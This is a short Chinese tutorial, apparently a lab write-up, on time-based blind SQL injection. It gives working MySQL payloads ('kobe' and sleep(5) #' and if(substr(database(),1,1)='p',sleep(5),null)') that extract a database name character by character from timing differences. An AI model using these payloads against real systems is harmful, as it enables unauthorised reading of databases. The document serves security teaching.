概念:基于时间的盲注,是指通过页面执行的时间来判断数据内容的注入方式。它通常用于数据(包含逻辑型)不能返回到页面中的场景,攻击者无法通过页面回显判断数据内容,只能通过执行的时间来获取数据。
1、测试
之前的bool盲注是还可以通过返回“0”或“1”来判断页面返回,下面这种情况一点页面返回情况都看不到
但是查看网络波动语句时,共耗时两秒:
当执行:kobe' and sleep(5) # 时,耗时2+5=7秒,所以可以判断其实我们插入的注入语句在后端是有执行的
2、构建payload的
if((substr(database(),1,1))='p',sleep(5),null)
database()
用于返回当前数据库的名称。
substr(database(),1,1)
:这个函数从database()
返回的字符串中取第一个字符。例如,如果database()
返回products_db
,那么substr(database(),1,1)
的结果将是p
。
if((substr(database(),1,1))='p',sleep(5),null)
:这是一个条件判断。
- 如果
substr(database(),1,1)
的结果是p
,那么执行sleep(5)
。这意味着程序会暂停5秒。- 如果不是
p
,则返回null
。
payload1:kobe' and if((substr(database(),1,1))='p',sleep(5),null)#
说明当前数据库第一个字符为p
也可将payload换成bool盲注讲过payload
payload2:kobe' and if(ascii(substr(database(),1,1))<113,sleep(5),null)#
同样的按照这种方式,可获得表名
3、总结
1、当页面只返回0或1时,可采用bool盲注
2、当页面任何都不返回时,可测试是否能time盲注